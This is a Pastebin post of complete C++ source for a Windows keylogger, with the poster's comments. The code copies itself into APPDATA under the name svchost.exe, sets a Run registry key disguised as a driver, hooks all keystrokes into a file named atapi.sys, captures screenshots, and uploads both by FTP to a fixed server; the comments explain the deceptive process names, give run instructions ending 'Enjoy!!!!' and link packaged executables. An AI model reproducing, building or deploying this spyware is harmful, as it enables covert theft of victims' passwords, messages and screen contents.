Advertisement
FlyFar

BlackCat Keylogger Source Code - C++

Jan 8th, 2023 (edited)
853
0
Never
2
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 16.34 KB | Cybersecurity | 0 0
  1. #include <stdio.h>
  2. #include <string>
  3. #include <windows.h>
  4. #include <wininet.h>
  5. #include <winuser.h>
  6. #include <conio.h>
  7. #include <time.h>
  8. #include <fstream>
  9. #include <strsafe.h>
  10. #include <io.h>
  11. #include <crtdefs.h>
  12. #include <fstream>
  13. #include <GdiPlus.h>
  14.  
  15.  
  16. using namespace Gdiplus;
  17. using namespace std;
  18.  
  19. #pragma comment(lib,"Wininet.lib")
  20. #pragma comment (lib,"gdiplus.lib")
  21.  
  22. fstream log_error_file("log_error.txt",ios::app);
  23.  
  24. string userlc;
  25.  
  26. void userpath(){
  27.  
  28.     char szDir[260];
  29. //  GetTempPath(260,szDir);
  30.     GetEnvironmentVariable("APPDATA",szDir,260);
  31.  
  32.     userlc = szDir;
  33.     userlc += "\\WPDNSE\\";
  34.  
  35.     log_error_file<<userlc<<"\n";
  36.     log_error_file.close();
  37.  
  38. }
  39.  
  40. void screenshot(string file){
  41.     ULONG_PTR gdiplustoken;
  42.     GdiplusStartupInput gdistartupinput;
  43.     GdiplusStartupOutput gdistartupoutput;
  44.  
  45.     gdistartupinput.SuppressBackgroundThread = true;
  46.     GdiplusStartup(& gdiplustoken,& gdistartupinput,& gdistartupoutput); //start GDI+
  47.  
  48.     HDC dc=GetDC(GetDesktopWindow());//get desktop content
  49.     HDC dc2 = CreateCompatibleDC(dc);    //copy context
  50.  
  51.     RECT rc0kno;
  52.  
  53.     GetClientRect(GetDesktopWindow(),&rc0kno);// get desktop size;
  54.     int w = rc0kno.right-rc0kno.left;//width
  55.     int h = rc0kno.bottom-rc0kno.top;//height
  56.  
  57.     HBITMAP hbitmap = CreateCompatibleBitmap(dc,w,h);//create bitmap
  58.     HBITMAP holdbitmap = (HBITMAP) SelectObject(dc2,hbitmap);
  59.  
  60.     BitBlt(dc2, 0, 0, w, h, dc, 0, 0, SRCCOPY);//copy pixel from pulpit to bitmap
  61.     Bitmap* bm= new Bitmap(hbitmap,NULL);
  62.  
  63.     UINT num;
  64.     UINT size;
  65.  
  66.     ImageCodecInfo *imagecodecinfo;
  67.     GetImageEncodersSize(&num,&size); //get count of codec
  68.  
  69.     imagecodecinfo = (ImageCodecInfo*)(malloc(size));
  70.     GetImageEncoders (num,size,imagecodecinfo);//get codec
  71.  
  72.     CLSID clsidEncoder;
  73.  
  74.     for(int i=0; i < num; i++)
  75.     {
  76.         if(wcscmp(imagecodecinfo[i].MimeType,L"image/jpeg")==0)
  77.             clsidEncoder = imagecodecinfo[i].Clsid;//get jpeg codec id
  78.  
  79.     }
  80.  
  81.     free(imagecodecinfo);
  82.  
  83.     wstring ws;
  84.     ws.assign(file.begin(),file.end());//sring to wstring
  85.     bm->Save(ws.c_str(),& clsidEncoder); //save in jpeg format
  86.     SelectObject(dc2,holdbitmap);//Release Objects
  87.     DeleteObject(dc2);
  88.     DeleteObject(hbitmap);
  89.  
  90.     ReleaseDC(GetDesktopWindow(),dc);
  91.     GdiplusShutdown(gdiplustoken);
  92.  
  93. }
  94.  
  95. void ftp_scrshot_send(){
  96.  
  97.     HINTERNET hInternet;
  98.     HINTERNET hFtpSession;
  99.  
  100.     DWORD rec_timeout = 5000;
  101.  
  102.     hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
  103.         if(hInternet == NULL){
  104.             log_error_file<<"Error:"<<GetLastError();
  105.         }
  106.         else{
  107.             hFtpSession = InternetConnect(hInternet,"192.168.8.2",2121,NULL,NULL,INTERNET_SERVICE_FTP,0,0);
  108.             InternetSetOption(hInternet,INTERNET_OPTION_SEND_TIMEOUT,&rec_timeout,sizeof(rec_timeout));
  109.             if(hFtpSession == NULL){
  110.  
  111.                 log_error_file<<"Error:"<<GetLastError();
  112.             }
  113.             else{
  114.                 if(!FtpPutFile(hFtpSession,"core32.mni","hacks/sc/dc.jpg",FTP_TRANSFER_TYPE_BINARY,0)){
  115.                     log_error_file<<"Error:"<<GetLastError();
  116.                 }
  117.             }  
  118.         }
  119.  
  120.     log_error_file.close();
  121. }
  122.  
  123. void ftplogsend(){
  124.  
  125.  
  126.     HINTERNET hInternet;
  127.     HINTERNET hFtpSession;
  128.  
  129.     DWORD rec_timeout = 2000;
  130.  
  131.     hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
  132.  
  133.         if(hInternet == NULL){
  134.             log_error_file<<"Error:"<<GetLastError();
  135.         }
  136.         else{
  137.             hFtpSession = InternetConnect(hInternet,"192.168.8.2",2121,NULL,NULL,INTERNET_SERVICE_FTP,0,0);
  138.             InternetSetOption(hInternet,INTERNET_OPTION_SEND_TIMEOUT,&rec_timeout,sizeof(rec_timeout));
  139.  
  140.  
  141.             if(hFtpSession == NULL){
  142.  
  143.                 log_error_file<<"Error:"<<GetLastError();
  144.             }
  145.             else{
  146.                 if(!FtpPutFile(hFtpSession,"atapi.sys","hacks/hacks.txt",FTP_TRANSFER_TYPE_BINARY,0)){
  147.                     log_error_file<<"Error:"<<GetLastError();
  148.                     log_error_file.close();
  149.                 }
  150.             }
  151.  
  152.  
  153.         }
  154.     }
  155.    
  156.  
  157. void AutoCopy(){
  158.  
  159.     string f_path = userlc;
  160.     string f_name=f_path;
  161.     f_name+="\\svchost.exe";//file name
  162.     char my_name[260];
  163.     GetModuleFileName(GetModuleHandle(0),my_name,260);//name of running process
  164.     string f_my=my_name;
  165.     CreateDirectory(f_path.c_str(),NULL);
  166.     CopyFile(f_my.c_str(),f_name.c_str(),FALSE);
  167.  
  168. }
  169.  
  170. void Install(){
  171.  
  172.     SYSTEMTIME st;
  173.     GetLocalTime(&st);
  174.     int year = st.wYear;
  175.     int month = st.wMonth;
  176.     int day = st.wDay;
  177.     int hour = st.wHour;
  178.     int mintue = st.wMinute;
  179.  
  180.     string yearS =  to_string(year);
  181.     yearS += "_";
  182.     string monthS =  to_string(month);
  183.     monthS += "-";
  184.     string dayS =  to_string(day);
  185.     dayS += "-";
  186.     string hourS =  to_string(hour);
  187.     hourS += "H-";
  188.     string mintueS =  to_string(mintue);
  189.     mintueS += "M------------>\n\n";
  190.  
  191.     string startDate = "\n\n";
  192.     startDate += dayS + monthS + yearS + hourS + mintueS;
  193.     char dateCh[260];
  194.     strcpy(dateCh,startDate.c_str());
  195.  
  196.  
  197.     string ff_path = userlc;
  198.     char szDir[260];
  199.     strcpy(szDir,ff_path.c_str());
  200.     strcat(szDir,"atapi.sys");
  201.     FILE *file;
  202.     file = fopen(szDir, "a+");
  203.  
  204.     fputs(dateCh,file);
  205.     fclose(file);
  206.  
  207. }
  208.  
  209. int isCapsLock()
  210. {
  211.     if ((GetKeyState(VK_CAPITAL) & 0x0001) != 0)
  212.     {
  213.         return 1;
  214.     }
  215.     else
  216.     {
  217.         return 0;
  218.     }
  219. }
  220. LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
  221. {
  222.     KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
  223.     DWORD dwMsg = 1;
  224.     string ff_path = userlc;
  225.     char szDir[260];
  226.     strcpy(szDir,ff_path.c_str());
  227.     strcat(szDir,"atapi.sys");
  228.     FILE *file;
  229.     file = fopen(szDir, "a+");
  230.     DWORD dwAttrs = GetFileAttributesA(szDir);
  231.     //  if (dwAttrs!= (FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN))
  232.     //  SetFileAttributesA(szDir, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
  233.     switch (wParam)
  234.     {
  235.     case WM_KEYDOWN:
  236.         {
  237.             DWORD vkCode = pKeyBoard->vkCode;
  238.             if (GetAsyncKeyState(VK_SHIFT))
  239.             {
  240.                 switch (vkCode)
  241.                 {
  242.                 case 0x30:
  243.                     fputs("[)]", file);
  244.                     break;
  245.                 case 0x31:
  246.                     fputs("[!]", file);
  247.                     break;
  248.                 case 0x32:
  249.                     fputs("[@]", file);
  250.                     break;
  251.                 case 0x33:
  252.                     fputs("[#]", file);
  253.                     break;
  254.                 case 0x34:
  255.                     fputs("[$]", file);
  256.                     break;
  257.                 case 0x35:
  258.                     fputs("[%]", file);
  259.                     break;
  260.                 case 0x36:
  261.                     fputs("[^]", file);
  262.                     break;
  263.                 case 0x37:
  264.                     fputs("[&]", file);
  265.                     break;
  266.                 case 0x38:
  267.                     fputs("[*]", file);
  268.                     break;
  269.                 case 0x39:
  270.                     fputs("[(]", file);
  271.                     break;
  272.                 case 0xBF:
  273.                     fputs("[?]", file); ///
  274.                     break;
  275.                 case 0xBB:
  276.                     fputs("[+]", file);
  277.                     break;
  278.                 case 0xBE:
  279.                     fputs("[<]", file);
  280.                     break;
  281.                 case 0xBD:
  282.                     fputs("[_]", file);
  283.                     break;
  284.                 case 0xE2:
  285.                     fputs("[>]", file);
  286.                     break;
  287.                 case 0x1C:
  288.                     fputs("[VK_CONVERT]",file);
  289.                     break;
  290.                 case 0x56:
  291.                     fputs("[@]", file);
  292.                     break;
  293.                 case  0x2A:
  294.                     fputs ("[PRINT]",file);
  295.                     break;
  296.                 case  0x2E:
  297.                     fputs ("[Delete]",file);
  298.                     break;
  299.                 case 0xAA:
  300.                     fputs("[Search]",file);
  301.                     break;
  302.                 case  0xF2:
  303.                     fputs("[Copy]",file);
  304.                     break;
  305.                 case 0xFE:
  306.                     fputs("[Clear]",file);
  307.                     break;
  308.                 case  0x3:
  309.                     fputs("[Connect]",file);
  310.                     break;
  311.                 case 0x6:
  312.                     fputs("[Logoff]",file);
  313.                     break;
  314.                 }
  315.             }
  316.             else
  317.             {
  318.                 switch (vkCode)
  319.                 {
  320.                 case 0x30:
  321.                     fputs("0", file);
  322.                     break;
  323.                 case 0x31:
  324.                     fputs("1", file);
  325.                     break;
  326.                 case 0x32:
  327.                     fputs("2", file);
  328.                     break;
  329.                 case 0x33:
  330.                     fputs("3", file);
  331.                     break;
  332.                 case 0x34:
  333.                     fputs("4", file);
  334.                     break;
  335.                 case 0x35:
  336.                     fputs("5", file);
  337.                     break;
  338.                 case 0x36:
  339.                     fputs("6", file);
  340.                     break;
  341.                 case 0x37:
  342.                     fputs("7", file);
  343.                     break;
  344.                 case 0x38:
  345.                     fputs("8", file);
  346.                     break;
  347.                 case 0x39:
  348.                     fputs("9", file);
  349.                     break;
  350.                 case 0xBF:
  351.                     fputs("/", file);
  352.                     break;
  353.                 case 0xBB:
  354.                     fputs("=", file);
  355.                     break;
  356.                 case 0xBC:
  357.                     fputs(",", file);
  358.                     break;
  359.                 case 0xBE:
  360.                     fputs(".", file);
  361.                     break;
  362.                 case 0xBD:
  363.                     fputs("-", file);
  364.                     break;
  365.                 case 0xE2:
  366.                     fputs("<", file);
  367.                     break;
  368.                 }
  369.             }
  370.             if (!(GetAsyncKeyState(VK_SHIFT)))
  371.  
  372.             {
  373.                 switch (vkCode)
  374.                 {
  375.                 case 0x41:
  376.                     fputs("a", file);
  377.                     break;
  378.                 case 0x42:
  379.                     fputs("b", file);
  380.                     break;
  381.                 case 0x43:
  382.                     fputs("c", file);
  383.                     break;
  384.                 case 0xBA:
  385.                     fputs("č", file);
  386.                     break;
  387.                 case 0x44:
  388.                     fputs("d", file);
  389.                     break;
  390.                 case 0x45:
  391.                     fputs("e", file);
  392.                     break;
  393.                 case 0x46:
  394.                     fputs("f", file);
  395.                     break;
  396.                 case 0x47:
  397.                     fputs("g", file);
  398.                     break;
  399.                 case 0x48:
  400.                     fputs("h", file);
  401.                     break;
  402.                 case 0x49:
  403.                     fputs("i", file);
  404.                     break;
  405.                 case 0x4A:
  406.                     fputs("j", file);
  407.                     break;
  408.                 case 0x4B:
  409.                     fputs("k", file);
  410.                     break;
  411.                 case 0x4C:
  412.                     fputs("l", file);
  413.                     break;
  414.                 case 0x4D:
  415.                     fputs("m", file);
  416.                     break;
  417.                 case 0x4E:
  418.                     fputs("n", file);
  419.                     break;
  420.                 case 0x4F:
  421.                     fputs("o", file);
  422.                     break;
  423.                 case 0x50:
  424.                     fputs("p", file);
  425.                     break;
  426.                 case 0x52:
  427.                     fputs("r", file);
  428.                     break;
  429.                 case 0x53:
  430.                     fputs("s", file);
  431.                     break;
  432.                 case 0x54:
  433.                     fputs("t", file);
  434.                     break;
  435.                 case 0x55:
  436.                     fputs("u", file);
  437.                     break;
  438.                 case 0x56:
  439.                     fputs("v", file);
  440.                     break;
  441.                 case 0x5A:
  442.                     fputs("z", file);
  443.                     break;
  444.                 case 0xDC:
  445.                     fputs("\\", file);
  446.                     break;
  447.                 case 0x51:
  448.                     fputs("q", file);
  449.                     break;
  450.                 case 0x57:
  451.                     fputs("w", file);
  452.                     break;
  453.                 case 0x59:
  454.                     fputs("y", file);
  455.                     break;
  456.                 case 0x58:
  457.                     fputs("x", file);
  458.                     break;
  459.                 case 0xDE:
  460.                     fputs("ć", file);
  461.                     break;
  462.                 case 0xDD:
  463.                     fputs("đ", file);
  464.                     break;
  465.                 default:
  466.                     fputs(" ", file);
  467.                 }
  468.             }
  469.  
  470.             if ((GetAsyncKeyState(VK_SHIFT)))
  471.  
  472.             {
  473.                 switch (vkCode)
  474.                 {
  475.                 case 0x41:
  476.                     fputs("A", file);
  477.                     break;
  478.                 case 0x42:
  479.                     fputs("B", file);
  480.                     break;
  481.                 case 0x43:
  482.                     fputs("C", file);
  483.                     break;
  484.                 case 0xBA:
  485.                     fputs("č", file);
  486.                     break;
  487.                 case 0x44:
  488.                     fputs("D", file);
  489.                     break;
  490.                 case 0x45:
  491.                     fputs("E", file);
  492.                     break;
  493.                 case 0x46:
  494.                     fputs("F", file);
  495.                     break;
  496.                 case 0x47:
  497.                     fputs("G", file);
  498.                     break;
  499.                 case 0x48:
  500.                     fputs("H", file);
  501.                     break;
  502.                 case 0x49:
  503.                     fputs("I", file);
  504.                     break;
  505.                 case 0x4A:
  506.                     fputs("J", file);
  507.                     break;
  508.                 case 0x4B:
  509.                     fputs("K", file);
  510.                     break;
  511.                 case 0x4C:
  512.                     fputs("L", file);
  513.                     break;
  514.                 case 0x4D:
  515.                     fputs("M", file);
  516.                     break;
  517.                 case 0x4E:
  518.                     fputs("N", file);
  519.                     break;
  520.                 case 0x4F:
  521.                     fputs("O", file);
  522.                     break;
  523.                 case 0x50:
  524.                     fputs("P", file);
  525.                     break;
  526.                 case 0x52:
  527.                     fputs("R", file);
  528.                     break;
  529.                 case 0x53:
  530.                     fputs("S", file);
  531.                     break;
  532.                 case 0x54:
  533.                     fputs("T", file);
  534.                     break;
  535.                 case 0x55:
  536.                     fputs("U", file);
  537.                     break;
  538.                 case 0x56:
  539.                     fputs("V", file);
  540.                     break;
  541.                 case 0x5A:
  542.                     fputs("Z", file);
  543.                     break;
  544.                 case 0x51:
  545.                     fputs("Q", file);
  546.                     break;
  547.                 case 0x57:
  548.                     fputs("W", file);
  549.                     break;
  550.                 case 0x59:
  551.                     fputs("Y", file);
  552.                     break;
  553.                 case 0x58:
  554.                     fputs("X", file);
  555.                     break;
  556.                 default:
  557.                     fputs(" ", file);
  558.                 }
  559.             }
  560.  
  561.  
  562.             else VK_SHIFT  + KF_ALTDOWN ;
  563.  
  564.             switch (vkCode)
  565.             {
  566.             case VK_SPACE:
  567.                 fputs("[Space]", file);
  568.                 break;
  569.             case 0x2E:
  570.                 fputs("[Delete]", file);
  571.                 break;
  572.             case VK_BACK:
  573.                 fputs("[BackSpace]", file);
  574.                 break;
  575.             case VK_RETURN:
  576.                 fputs("[Enter]\n", file);
  577.                 break;
  578.             case VK_LCONTROL:
  579.                 fputs("[Ctrl]", file);
  580.                 break;
  581.             case VK_RCONTROL:
  582.                 fputs("[Ctrl]", file);
  583.                 break;
  584.             case VK_TAB:
  585.                 fputs("[Tab]", file);
  586.                 break;
  587.             case 0x25:
  588.                 fputs("[Left Arrow]", file);
  589.                 break;
  590.             case 0x26:
  591.                 fputs("[Up Arrow]", file);
  592.                 break;
  593.             case 0x27:
  594.                 fputs("[Right Arrow]", file);
  595.                 break;
  596.             case 0x28:
  597.                 fputs("[Down Arrow]", file);
  598.                 break;
  599.             case VK_ESCAPE:
  600.                 fputs("[Esc]", file);
  601.                 break;
  602.             case VK_CAPITAL:
  603.                 fputs("[Caps Lock]", file);
  604.                 break;
  605.             case VK_RSHIFT:
  606.                 fputs("[Right Shift]", file);
  607.                 break;
  608.             case VK_LSHIFT:
  609.                 fputs("[Left Shift]", file);
  610.                 break;
  611.             case VK_LMENU:
  612.                 fputs("[Left Alt]", file);
  613.                 break;
  614.             case VK_RMENU:
  615.                 fputs("[Right Alt]", file);
  616.                 break;
  617.             case VK_LWIN:
  618.                 fputs("[Left Win]", file);
  619.                 break;
  620.             case VK_RWIN:
  621.                 fputs("[Right Win]", file);
  622.                 break;
  623.             case VK_INSERT:
  624.                 fputs("[Insert]", file);
  625.                 break;
  626.             case VK_SCROLL:
  627.                 fputs("[Scroll Lock]", file);
  628.                 break;
  629.             case VK_HOME:
  630.                 fputs("[Home]", file);
  631.                 break;
  632.             case VK_END:
  633.                 fputs("[End]", file);
  634.                 break;
  635.             case VK_PRIOR:
  636.                 fputs("[Page Up]", file);
  637.                 break;
  638.             case VK_NEXT:
  639.                 fputs("[Page Down]", file);
  640.                 break;
  641.             case VK_SNAPSHOT:
  642.                 fputs("[Print Screen]", file);
  643.                 break;
  644.             case VK_OEM_3:
  645.                 fputs("[ ~ ` ]", file);
  646.                 break;
  647.             case VK_OEM_4:
  648.                 fputs("[ { [ ]", file);
  649.                 break;
  650.             case VK_OEM_6:
  651.                 fputs("[ } ] ]", file);
  652.                 break;
  653.             case VK_OEM_1:
  654.                 fputs("[ : ; ]", file);
  655.                 break;
  656.             case VK_OEM_7:
  657.                 fputs("[ \" ' ]", file);
  658.                 break;
  659.             case VK_F1:
  660.                 fputs("[F1]", file);
  661.                 break;
  662.             case VK_F2:
  663.                 fputs("[F2]", file);
  664.                 break;
  665.             case VK_F3:
  666.                 fputs("[F3]", file);
  667.                 break;
  668.             case VK_F4:
  669.                 fputs("[F4]", file);
  670.                 break;
  671.             case VK_F5:
  672.                 fputs("[F5]", file);
  673.                 break;
  674.             case VK_F6:
  675.                 fputs("[F6]", file);
  676.                 break;
  677.             case VK_F7:
  678.                 fputs("[F7]", file);
  679.                 break;
  680.             case VK_F8:
  681.                 fputs("[F8]", file);
  682.                 break;
  683.             case VK_F9:
  684.                 fputs("[F9]", file);
  685.                 break;
  686.             case VK_F10:
  687.                 fputs("[F10]", file);
  688.                 break;
  689.             case VK_F11:
  690.                 fputs("[F11]", file);
  691.                 break;
  692.             case VK_F12:
  693.                 fputs("[F12]", file);
  694.                 break;
  695.             case VK_NUMPAD0:
  696.                 fputs("0", file);
  697.                 break;
  698.             case VK_NUMPAD1:
  699.                 fputs("1", file);
  700.                 break;
  701.             case VK_NUMPAD2:
  702.                 fputs("2", file);
  703.                 break;
  704.             case VK_NUMPAD3:
  705.                 fputs("3", file);
  706.                 break;
  707.             case VK_NUMPAD4:
  708.                 fputs("4", file);
  709.                 break;
  710.             case VK_NUMPAD5:
  711.                 fputs("5", file);
  712.                 break;
  713.             case VK_NUMPAD6:
  714.                 fputs("6", file);
  715.                 break;
  716.             case VK_NUMPAD7:
  717.                 fputs("7", file);
  718.                 break;
  719.             case VK_NUMPAD8:
  720.                 fputs("8", file);
  721.                 break;
  722.             case VK_NUMPAD9:
  723.                 fputs("9", file);
  724.                 break;
  725.             case 0x6F:
  726.                 fputs("[/]", file);
  727.                 break;
  728.             case 0x6A:
  729.                 fputs("[*]", file);
  730.                 break;
  731.             case 0x6D:
  732.                 fputs("[-]", file);
  733.                 break;
  734.             case 0x6B:
  735.                 fputs("[+]", file);
  736.                 break;
  737.             case 0x6E:
  738.                 fputs("[,]", file);
  739.                 break;
  740.             }
  741.         }
  742.     case WM_SYSKEYDOWN:
  743.         {
  744.             DWORD vkCode = pKeyBoard->vkCode;
  745.             if (GetAsyncKeyState(VK_RSHIFT))
  746.             {
  747.                 switch (vkCode)
  748.                 {
  749.                 case 0x51:
  750.                     fputs("[\\]", file);
  751.                     break;
  752.                 case 0x57:
  753.                     fputs("[|]", file);
  754.                     break;
  755.                 case 0xDB:
  756.                     fputs("[{]", file);
  757.                     break;
  758.                 case 0xDD:
  759.                     fputs("[}]", file);
  760.                     break;
  761.                 case 0xDC:
  762.                     fputs("[|]", file);
  763.                     break;
  764.                 case 0x56:
  765.                     fputs("[@]", file);
  766.                     break;
  767.                 case 0xBE:
  768.                     fputs("[>]", file);
  769.                     break;
  770.                 }
  771.             }
  772.         }
  773.     default:
  774.         fclose(file);
  775.         return CallNextHookEx( NULL, nCode, wParam, lParam );
  776.     }
  777.     fclose(file);
  778.     return 0;
  779. }
  780. DWORD WINAPI KeyLogger(LPVOID lpParameter)
  781. {
  782.     HHOOK hKeyHook;
  783.     HINSTANCE hExe = GetModuleHandle(NULL);
  784.     if (hExe == NULL)
  785.     {
  786.         return 1;
  787.     }
  788.     else
  789.     {
  790.         hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, hExe, 0);
  791.         MSG msg;
  792.         while (GetMessage(&msg, NULL, 0, 0) != 0)
  793.         {
  794.             TranslateMessage(&msg);
  795.             DispatchMessage(&msg);
  796.         }
  797.         UnhookWindowsHookEx(hKeyHook);
  798.     }
  799.     return 0;
  800. }
  801.  
  802.  
  803.  
  804. int StartKeyLogging()
  805. {
  806.     HANDLE hThread;
  807.     DWORD dwThread;
  808.     hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KeyLogger,NULL, 0, NULL);
  809.     if (hThread)
  810.     {
  811.         return WaitForSingleObject(hThread, INFINITE);
  812.     }
  813.     else
  814.     {
  815.         return 1;
  816.     }
  817. }
  818.  
  819. void AutoStart()
  820. {
  821.     char Driver[MAX_PATH];
  822.     HKEY hKey;
  823.     string ff_path = userlc + "svchost.exe";
  824.     strcpy(Driver,ff_path.c_str());
  825.     RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
  826.     RegSetValueExA(hKey, "Windows Atapi x86_64 Driver", 0, REG_SZ, (const unsigned char *)Driver, MAX_PATH);
  827.     RegCloseKey(hKey);
  828. }
  829.  
  830.  
  831. int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow)
  832. {
  833.     userpath();
  834.     AutoCopy(); //autocopy
  835.     AutoStart(); // auto start everytime
  836.     Sleep(1000*60*1);
  837.     Install(); // write log date
  838.     screenshot("core32.mni");
  839.     ftp_scrshot_send();
  840.     ftplogsend();
  841.     StartKeyLogging();
  842. }
Advertisement
Comments
  • FlyFar
    1 year
    # text 0.57 KB | 0 0
    1. Keylogger.Zip Contain two Executable Files. (Sourcecode File Also Included)
    2. svchost.exe (Main Keylogger Processs)
    3. rundll33.exe (Capture Screenshot & send all Log and Screenshot to FTP Server (ftp://192.168.8.2:2121))
    4. Execute both files once time next time its automatically start and capture screenshot and keylog.
    5.  
    6. These names Given for unrecognisable in Task Manager.
    7.  
    8. Instructions:
    9. 1.Start FTP Server on This Ip Address 192.168.8.2:2121
    10. 2. and Start both program and Enjoy!!!!
    11.  
    12. Link for Keylogger.rar: https://github.com/ajayrandhawa/Keylogger/blob/master/keylogger.rar
  • FlyFar
    1 year
    # text 0.06 KB | 0 0
    1. Credit to @ajayrandhawa on GitHub for this amazing keylogger
Add Comment
Please, Sign In to add comment
Advertisement